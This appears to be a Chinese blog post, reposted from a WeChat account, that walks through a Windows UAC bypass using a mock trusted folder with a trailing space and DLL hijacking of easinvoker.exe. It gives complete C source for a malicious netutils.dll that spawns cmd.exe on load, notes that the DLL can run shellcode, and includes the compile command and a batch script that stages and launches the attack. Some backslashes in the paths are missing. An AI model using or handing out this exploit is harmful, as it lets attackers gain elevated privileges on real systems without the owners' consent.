不多废话,直入主题吧,在c:WindowsSystem32中找到一个easinvoker.exe,并强制它加载我们自己的自定义 dll,当然你也可以找其它的exe。
这种绕过的有趣之处在于,easinvoker.exe只能加载包含在受信任的 C:WindowsSystem32 文件夹中的 DLL。
我们使用模拟受信任文件夹技术来解决这个问题。也就是当您创建模拟文件夹时,该文件夹包含一个尾随空格,例如:c:windows
1、使用免费的 WinAPISearch64 程序查询程序加载的dll以及它的导入函数
为什么要选择加载的dll中存在尽可能少的导入函数,原因是简便,避免编写dll时需要处理更多的函数。
2、如何编写这个代码?可以到微软Microsoft查找
NetApiBufferFree
函数的使用
下面是编写基本的dll代码,实战可以加载执行shellcode:
//x86_64-w64-mingw32-gcc netutils.c -shared -o netutils.dll
#include <windows.h>
#include <lm.h>
#include <wtypes.h>
BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
WinExec("cmd.exe", 1);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
NET_API_STATUS WINAPI NetApiBufferFree(LPVOID Buffer)
{
Sleep(INFINITE);
return 1;
}
使用mingw进行编译:
x86_64-w64-mingw32-gcc.exe netutils.c -shared -o netutils.dll
以下是bat格式的demo,实战可以写到自己代码中:
@echo off
cd %USERPROFILE%Desktop
mkdir "\?C:Windows "
mkdir "\?C:Windows System32"
copy "c:windowssystem32easinvoker.exe" "C:Windows System32"
cd c:temp
copy "netutils.dll" "C:Windows System32"
"C:Windows System32easinvoker.exe"
仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。
原文始发于微信公众号(柠檬赏金猎人):UAC绕过-模拟受信任文件夹
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论